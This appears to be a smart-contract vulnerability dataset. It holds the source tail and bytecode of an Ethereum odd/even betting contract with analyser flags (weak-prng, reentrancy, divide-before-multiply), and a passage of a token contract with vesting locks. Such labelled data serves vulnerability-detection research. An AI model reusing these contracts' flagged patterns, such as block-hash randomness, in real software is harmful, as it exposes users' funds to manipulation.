}
/** @dev Function for getting the block revenue per ticket.
* @param _blockNumber The block for which we will calculate revenue per ticket.
* @return _revenue
*/
function getblockRevenuePerTicket(uint256 _blockNumber) public view returns (uint256 _revenue) {
return blockRevenuePerTicket[_blockNumber];
}
/** @dev Function which tells us is the revenue for given block is calculated.
* @param _blockNumber The block for which we will check.
* @return _isCalculated
*/
function getIsBlockRevenueCalculated(uint256 _blockNumber) public view returns (bool _isCalculated) {
return isBlockRevenueCalculated[_blockNumber];
}
/** @dev Function which tells us is the revenue for given block is paid.
* @param _blockNumber The block for which we will check.
* @return _isPaid
*/
function getIsRevenuePaid(address _participant, uint256 _blockNumber) public view returns (bool _isPaid) {
return participants[_participant].bets[_blockNumber].isRevenuePaid;
}
/** @dev Function which will return the block commission.
* @param _blockNumber The block for which we will get the commission.
* @return _comission
*/
function getBlockComission(uint256 _blockNumber) public view returns (uint256 _comission) {
return comissionsAtBlock[_blockNumber];
}
/** @dev Function which will return the ODD and EVEN bets.
* @param _blockNumber The block for which we will get the commission.
* @return _ODDBets, _EVENBets
*/
function getBetsEvenAndODD(uint256 _blockNumber) public view returns (uint256 _ODDBets, uint256 _EVENBets) {
return (oddAndEvenBets[_blockNumber][ODD], oddAndEvenBets[_blockNumber][EVEN]);
}
/** @dev Function which will return the count of target blocks.
* @return _targetBlockLenght
*/
function getTargetBlockLength() public view returns (uint256 _targetBlockLenght) {
return targetBlocks.length;
}
/** @dev Function which will return the whole target blocks.
* @return _targetBlocks Array of target blocks
*/
function getTargetBlocks() public view returns (uint256[] _targetBlocks) {
return targetBlocks;
}
/** @dev Function which will return a specific target block at index.
* @param _index The index of the target block which we want to get.
* @return _targetBlockNumber
*/
function getTargetBlock(uint256 _index) public view returns (uint256 _targetBlockNumber) {
return targetBlocks[_index];
}
} | 0x6080604052600436106101ee576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301ddc95e14610220578063082a7e601461024b57806309e69ede1461027c5780630ceff204146102d757806312919d901461031c5780631bf1de9b1461035f5780632f45aa211461038a578063309ab7e1146103cb57806338b903331461043057806344030e711461045b57806348700c7c146104a0578063511e2613146104d157806351b72a9a1461051c5780635c61f9b414610577578063724a8487146105b857806379bd42cf146106245780637a83e89e1461064f5780637bf0cd0d1461067a5780637c0cc0be146106bb5780637c69538414610716578063873dc71d1461075b5780638da5cb5b146107945780639335dcb7146107eb5780639729f9b914610842578063a4c8b35d14610883578063b1b5537c146108da578063b78d32cd1461091f578063bb542ef01461094a578063c613089f1461098d578063c64a2358146109d5578063c6abc29814610a00578063cedc01ae14610a68578063d23f1bba14610ac3578063d86b372114610af4578063e2f3603414610b1f578063ee82ac5e14610b4c578063f2fde38b14610b95578063f514e92c14610bd8578063fa6fcc5014610c03578063ff73d2d814610c2e575b61021d6101fd60804303610c93565b61021867016345785d8a000034610d9e90919063ffffffff16565b610db9565b50005b34801561022c57600080fd5b5061023561124c565b6040518082815260200191505060405180910390f35b34801561025757600080fd5b50610260611259565b604051808260ff1660ff16815260200191505060405180910390f35b34801561028857600080fd5b506102bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061125e565b604051808215151515815260200191505060405180910390f35b3480156102e357600080fd5b5061030260048036038101908080359060200190929190505050611289565b604051808215151515815260200191505060405180910390f35b34801561032857600080fd5b5061035d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d82565b005b34801561036b57600080fd5b50610374611e9d565b6040518082815260200191505060405180910390f35b34801561039657600080fd5b506103b560048036038101908080359060200190929190505050611ea2565b6040518082815260200191505060405180910390f35b3480156103d757600080fd5b50610416600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ebf565b604051808215151515815260200191505060405180910390f35b34801561043c57600080fd5b50610445611f83565b6040518082815260200191505060405180910390f35b34801561046757600080fd5b5061048660048036038101908080359060200190929190505050611f8c565b604051808215151515815260200191505060405180910390f35b3480156104ac57600080fd5b506104b5611fb6565b604051808260ff1660ff16815260200191505060405180910390f35b3480156104dd57600080fd5b506105066004803603810190808035906020019092919080359060200190929190505050611fbb565b6040518082815260200191505060405180910390f35b34801561052857600080fd5b5061055d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fea565b604051808215151515815260200191505060405180910390f35b34801561058357600080fd5b506105a260048036038101908080359060200190929190505050612107565b6040518082815260200191505060405180910390f35b3480156105c457600080fd5b506105cd612124565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106105780820151818401526020810190506105f5565b505050509050019250505060405180910390f35b34801561063057600080fd5b5061063961217c565b6040518082815260200191505060405180910390f35b34801561065b57600080fd5b50610664612181565b6040518082815260200191505060405180910390f35b34801561068657600080fd5b506106a560048036038101908080359060200190929190505050612187565b6040518082815260200191505060405180910390f35b3480156106c757600080fd5b506106fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121aa565b604051808215151515815260200191505060405180910390f35b610741600480360381019080803560ff16906020019092919080359060200190929190505050610db9565b604051808215151515815260200191505060405180910390f35b34801561076757600080fd5b50610770612312565b60405180848152602001838152602001828152602001935050505060405180910390f35b3480156107a057600080fd5b506107a961232b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107f757600080fd5b50610800612350565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561084e57600080fd5b5061086d60048036038101908080359060200190929190505050612376565b6040518082815260200191505060405180910390f35b34801561088f57600080fd5b50610898612393565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108e657600080fd5b50610905600480360381019080803590602001909291905050506123b9565b604051808215151515815260200191505060405180910390f35b34801561092b57600080fd5b506109346124b0565b6040518082815260200191505060405180910390f35b34801561095657600080fd5b5061098b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124bc565b005b34801561099957600080fd5b506109b8600480360381019080803590602001909291905050506125d7565b604051808381526020018281526020019250505060405180910390f35b3480156109e157600080fd5b506109ea612635565b6040518082815260200191505060405180910390f35b348015610a0c57600080fd5b50610a4b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061263b565b604051808381526020018281526020019250505060405180910390f35b348015610a7457600080fd5b50610aa9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126f7565b604051808215151515815260200191505060405180910390f35b348015610acf57600080fd5b50610ad861274d565b604051808260ff1660ff16815260200191505060405180910390f35b348015610b0057600080fd5b50610b09612752565b6040518082815260200191505060405180910390f35b348015610b2b57600080fd5b50610b4a6004803603810190808035906020019092919050505061275a565b005b348015610b5857600080fd5b50610b7760048036038101908080359060200190929190505050612927565b60405180826000191660001916815260200191505060405180910390f35b348015610ba157600080fd5b50610bd6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612944565b005b348015610be457600080fd5b50610bed612a5d565b6040518082815260200191505060405180910390f35b348015610c0f57600080fd5b50610c18612a62565b6040518082815260200191505060405180910390f35b348015610c3a57600080fd5b50610c79600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612a68565b604051808215151515815260200191505060405180910390f35b600080600080844060086000878152602001908152602001600020816000191690555060086000868152602001908152602001600020546001900492507f1000000000000000000000000000000000000000000000000000000000000000808402811515610cfd57fe5b049150600282811515610d0c57fe5b0690507fea65d7d1294b8f29d9724c04730ecaf729e243e77f4178f85a073ea5e792949d85600860008881526020019081526020016000205483604051808481526020018360001916600019168152602001828152602001935050505060405180910390a16001811415610d835760019350610d96565b6000811415610d955760029350610d96565b5b505050919050565b6000808284811515610dac57fe5b0490508091505092915050565b600080610dc4612e3b565b600080610dcf612e51565b600087111515610dde57600080fd5b610df967016345785d8a000088612ad690919063ffffffff16565b94508434141515610e0957600080fd5b600160ff168860ff161480610e245750600260ff168860ff16145b1515610e2f57600080fd5b600d544311158015610e435750600c544310155b1515610e4e57600080fd5b60001515600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff1615151415610f6257600184600001901515908115158152505083600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160010160006101000a81548160ff0219169083151502179055509050503373ffffffffffffffffffffffffffffffffffffffff167ffc2337b65c8ac139841545e30c6715f55a27b7bff39e9d0a7a9aad3f3a916ad760405160405180910390a25b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000600e548152602001908152602001600020600001549250600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000600e548152602001908152602001600020600101549150600160ff168860ff1614156110415761103a8584612b1190919063ffffffff16565b9250611057565b6110548583612b1190919063ffffffff16565b91505b60606040519081016040528084815260200183815260200160001515815250905080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000600e548152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050506111413460066000600e54815260200190815260200160002060008b60ff16815260200190815260200160002054612b1190919063ffffffff16565b60066000600e54815260200190815260200160002060008a60ff16815260200190815260200160002081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156111d6573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167ff4cc3dc933facef3bd48175494dde6ac95ab406b4d472453f8910dc1cab242d3600e548a34604051808481526020018360ff1660ff168152602001828152602001935050505060405180910390a260019550505050505092915050565b6000600480549050905090565b600181565b60056020528060005260406000206000915090508060010160009054906101000a900460ff16905081565b6000806000806000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600087815260200190815260200160002060000154118061134a57506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600087815260200190815260200160002060010154115b151561135557600080fd5b60001515600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600087815260200190815260200160002060020160009054906101000a900460ff1615151415156113cb57600080fd5b60011515600a600087815260200190815260200160002060009054906101000a900460ff1615151415156113fe57600080fd5b6000600660008781526020019081526020016000206000600160ff16815260200190815260200160002054148061145d57506000600660008781526020019081526020016000206000600260ff16815260200190815260200160002054145b1561190c576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600087815260200190815260200160002060000154111561161d57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bf0862133600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000898152602001908152602001600020600001546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115dc57600080fd5b505af11580156115f0573d6000803e3d6000fd5b505050506040513d602081101561160657600080fd5b810190808051906020019092919050505050611775565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bf0862133600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000898152602001908152602001600020600101546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561173857600080fd5b505af115801561174c573d6000803e3d6000fd5b505050506040513d602081101561176257600080fd5b8101908080519060200190929190505050505b6001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600087815260200190815260200160002060020160006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167fe87b99f97f46b8b8866a1811f61e9756e69a2f341d0d0da1c3f8f7dd0958881d86600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600089815260200190815260200160002060020160009054906101000a900460ff1660405180838152602001821515151581526020019250505060405180910390a2600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600086815260200190815260200160002060020160009054906101000a900460ff169350611d7a565b600092506000915060009050600160ff16600760008781526020019081526020016000205414156119e9576119a867016345785d8a0000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600088815260200190815260200160002060000154610d9e90919063ffffffff16565b91506119e26119d3836009600089815260200190815260200160002054612ad690919063ffffffff16565b84612b1190919063ffffffff16565b9250611ab7565b600260ff1660076000878152602001908152602001600020541415611ab657611a7967016345785d8a0000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600088815260200190815260200160002060010154610d9e90919063ffffffff16565b9150611ab3611aa4836009600089815260200190815260200160002054612ad690919063ffffffff16565b84612b1190919063ffffffff16565b92505b5b611ae4611ad58367016345785d8a0000612ad690919063ffffffff16565b84612b1190919063ffffffff16565b9050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bf0862133836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611bab57600080fd5b505af1158015611bbf573d6000803e3d6000fd5b505050506040513d6020811015611bd557600080fd5b8101908080519060200190929190505050506001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600087815260200190815260200160002060020160006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167fe87b99f97f46b8b8866a1811f61e9756e69a2f341d0d0da1c3f8f7dd0958881d86600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600089815260200190815260200160002060020160009054906101000a900460ff1660405180838152602001821515151581526020019250505060405180910390a2600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600086815260200190815260200160002060020160009054906101000a900460ff1693505b505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ddd57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f75e5e8120d12c13d55d7b16ab4dca8a2f00fa6966bcfa9bb3b3d79de47b94a8b60405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a81565b600060096000838152602001908152602001600020549050919050565b600080600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000848152602001908152602001600020600001541180611f7b57506000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600084815260200190815260200160002060010154115b905092915050565b642efc88ace081565b6000600a600083815260200190815260200160002060009054906101000a900460ff169050919050565b600281565b600060066000848152602001908152602001600020600083815260200190815260200160002054905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561204757600080fd5b60011515600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156120a657600080fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b600060076000838152602001908152602001600020549050919050565b6060600480548060200260200160405190810160405280929190818152602001828054801561217257602002820191906000526020600020905b81548152602001906001019080831161215e575b5050505050905090565b601781565b600d5481565b600060048281548110151561219857fe5b90600052602060002001549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561220757600080fd5b60001515600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561226657600080fd5b6001600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000806000600c54600d54600e54925092509250909192565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b6000838152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003360011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561241b57600080fd5b6000831415612428574392505b600d54431015151561243957600080fd5b82600c819055506124566017600c54612b1190919063ffffffff16565b600d81905550612472601e600c54612b1190919063ffffffff16565b600e819055506004600e5490806001815401808255809150509060018203906000526020600020016000909192909190915055506001915050919050565b67016345785d8a000081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561251757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f75e5e8120d12c13d55d7b16ab4dca8a2f00fa6966bcfa9bb3b3d79de47b94a8b60405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600660008481526020019081526020016000206000600160ff16815260200190815260200160002054600660008581526020019081526020016000206000600260ff1681526020019081526020016000205491509150915091565b600e5481565b600080600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600084815260200190815260200160002060000154600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600085815260200190815260200160002060010154915091509250929050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600381565b600043905090565b8080431015151561276a57600080fd5b60001515600a600084815260200190815260200160002060009054906101000a900460ff16151514151561279d57600080fd5b6000600660008481526020019081526020016000206000600160ff1681526020019081526020016000205411806127fc57506000600660008481526020019081526020016000206000600260ff16815260200190815260200160002054115b156128da5761280a82610c93565b60ff166007600084815260200190815260200160002081905550600160ff166007600084815260200190815260200160002054148061285f5750600260ff166007600084815260200190815260200160002054145b151561286a57600080fd5b600160ff16600760008481526020019081526020016000205414156128a15761289c82600160ff16600260ff16612b2f565b6128d5565b600260ff16600760008481526020019081526020016000205414156128d4576128d382600260ff16600160ff16612b2f565b5b5b612923565b6001600a600084815260200190815260200160002060006101000a81548160ff021916908315150217905550600360ff1660076000848152602001908152602001600020819055505b5050565b600060086000838152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561299f57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f75e5e8120d12c13d55d7b16ab4dca8a2f00fa6966bcfa9bb3b3d79de47b94a8b60405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601e81565b600c5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600083815260200190815260200160002060020160009054906101000a900460ff16905092915050565b6000806000841415612aeb5760009150612b0a565b8284029050828482811515612afc57fe5b04141515612b0657fe5b8091505b5092915050565b6000808284019050838110151515612b2557fe5b8091505092915050565b60008060006006600087815260200190815260200160002060008581526020019081526020016000205492506000600660008881526020019081526020016000206000600160ff1681526020019081526020016000205414158015612bbd57506000600660008881526020019081526020016000206000600260ff1681526020019081526020016000205414155b15612da757612be9600a612bdb606486610d9e90919063ffffffff16565b612ad690919063ffffffff16565b9150612bfe8284612e2290919063ffffffff16565b925081600b600088815260200190815260200160002081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637bf08621600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015612cff57600080fd5b505af1158015612d13573d6000803e3d6000fd5b505050506040513d6020811015612d2957600080fd5b810190808051906020019092919050505050612d7a67016345785d8a000060066000898152602001908152602001600020600088815260200190815260200160002054610d9e90919063ffffffff16565b9050612d8f8184610d9e90919063ffffffff16565b60096000888152602001908152602001600020819055505b6001600a600088815260200190815260200160002060006101000a81548160ff0219169083151502179055507fb055e237f0c91b371e43a608e0d643b8cf1b5a9309fe1b068260fa1371afc80a86868560405180848152602001838152602001828152602001935050505060405180910390a1505050505050565b6000828211151515612e3057fe5b818303905092915050565b6020604051908101604052806000151581525090565b606060405190810160405280600081526020016000815260200160001515815250905600a165627a7a72305820ca0644c8129dca23a905e3636f2c8d53644ad9e1e2c4056d5a77cf4821e37f870029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,974 |
0xfa55951f84bfbe2e6f95aa74b58cc7047f9f0644 | pragma solidity ^0.4.21;
contract Owned {
/// 'owner' is the only address that can call a function with
/// this modifier
address public owner;
address internal newOwner;
///@notice The constructor assigns the message sender to be 'owner'
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
event updateOwner(address _oldOwner, address _newOwner);
///change the owner
function changeOwner(address _newOwner) public onlyOwner returns(bool) {
require(owner != _newOwner);
newOwner = _newOwner;
return true;
}
/// accept the ownership
function acceptNewOwner() public returns(bool) {
require(msg.sender == newOwner);
emit updateOwner(owner, newOwner);
owner = newOwner;
return true;
}
}
// Safe maths, borrowed from OpenZeppelin
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Token {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// user tokens
mapping (address => uint256) public balances;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant public returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Controlled is Owned, ERC20Token {
using SafeMath for uint;
uint256 public releaseStartTime;
uint256 oneMonth = 3600 * 24 * 30;
// Flag that determines if the token is transferable or not
bool public emergencyStop = false;
struct userToken {
uint256 UST;
uint256 addrLockType;
}
mapping (address => userToken) public userReleaseToken;
modifier canTransfer {
require(emergencyStop == false);
_;
}
modifier releaseTokenValid(address _user, uint256 _time, uint256 _value) {
uint256 _lockTypeIndex = userReleaseToken[_user].addrLockType;
if(_lockTypeIndex != 0) {
require (balances[_user].sub(_value) >= userReleaseToken[_user].UST.sub(calcReleaseToken(_user, _time, _lockTypeIndex)));
}
_;
}
function canTransferUST(bool _bool) public onlyOwner{
emergencyStop = _bool;
}
/// @notice get `_user` transferable token amount
/// @param _user The user's address
/// @param _time The present time
/// @param _lockTypeIndex The user's investment lock type
/// @return Return the amount of user's transferable token
function calcReleaseToken(address _user, uint256 _time, uint256 _lockTypeIndex) internal view returns (uint256) {
uint256 _timeDifference = _time.sub(releaseStartTime);
uint256 _whichPeriod = getPeriod(_lockTypeIndex, _timeDifference);
if(_lockTypeIndex == 1) {
return (percent(userReleaseToken[_user].UST, 25) + percent(userReleaseToken[_user].UST, _whichPeriod.mul(25)));
}
if(_lockTypeIndex == 2) {
return (percent(userReleaseToken[_user].UST, 25) + percent(userReleaseToken[_user].UST, _whichPeriod.mul(25)));
}
if(_lockTypeIndex == 3) {
return (percent(userReleaseToken[_user].UST, 10) + percent(userReleaseToken[_user].UST, _whichPeriod.mul(15)));
}
revert();
}
/// @notice get time period for the given '_lockTypeIndex'
/// @param _lockTypeIndex The user's investment locktype index
/// @param _timeDifference The passed time since releaseStartTime to now
/// @return Return the time period
function getPeriod(uint256 _lockTypeIndex, uint256 _timeDifference) internal view returns (uint256) {
if(_lockTypeIndex == 1) { //The lock for the usechain coreTeamSupply
uint256 _period1 = (_timeDifference.div(oneMonth)).div(12);
if(_period1 >= 3){
_period1 = 3;
}
return _period1;
}
if(_lockTypeIndex == 2) { //The lock for medium investment
uint256 _period2 = _timeDifference.div(oneMonth);
if(_period2 >= 3){
_period2 = 3;
}
return _period2;
}
if(_lockTypeIndex == 3) { //The lock for massive investment
uint256 _period3 = _timeDifference.div(oneMonth);
if(_period3 >= 6){
_period3 = 6;
}
return _period3;
}
revert();
}
function percent(uint _token, uint _percentage) internal pure returns (uint) {
return _percentage.mul(_token).div(100);
}
}
contract standardToken is ERC20Token, Controlled {
mapping (address => mapping (address => uint256)) public allowances;
/// @param _owner The address that's balance is being requested
/// @return The balance of `_owner` at the current block
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
/// @notice Send `_value` tokens to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of tokens to be transferred
/// @return Whether the transfer was successful or not
function transfer(
address _to,
uint256 _value)
public
canTransfer
releaseTokenValid(msg.sender, now, _value)
returns (bool)
{
require (balances[msg.sender] >= _value); // Throw if sender has insufficient balance
require (balances[_to] + _value >= balances[_to]); // Throw if owerflow detected
balances[msg.sender] -= _value; // Deduct senders balance
balances[_to] += _value; // Add recivers balance
emit Transfer(msg.sender, _to, _value); // Raise Transfer event
return true;
}
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens on
/// its behalf. This is a modified version of the ERC20 approve function
/// to be a little bit safer
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(address _spender, uint256 _value) public returns (bool success) {
allowances[msg.sender][_spender] = _value; // Set allowance
emit Approval(msg.sender, _spender, _value); // Raise Approval event
return true;
}
/// @notice `msg.sender` approves `_spender` to send `_value` tokens on
/// its behalf, and then a function is triggered in the contract that is
/// being approved, `_spender`. This allows users to use their tokens to
/// interact with contracts in one function call instead of two
/// @param _spender The address of the contract able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return True if the function call was successful
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
approve(_spender, _value); // Set approval to contract for _value
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
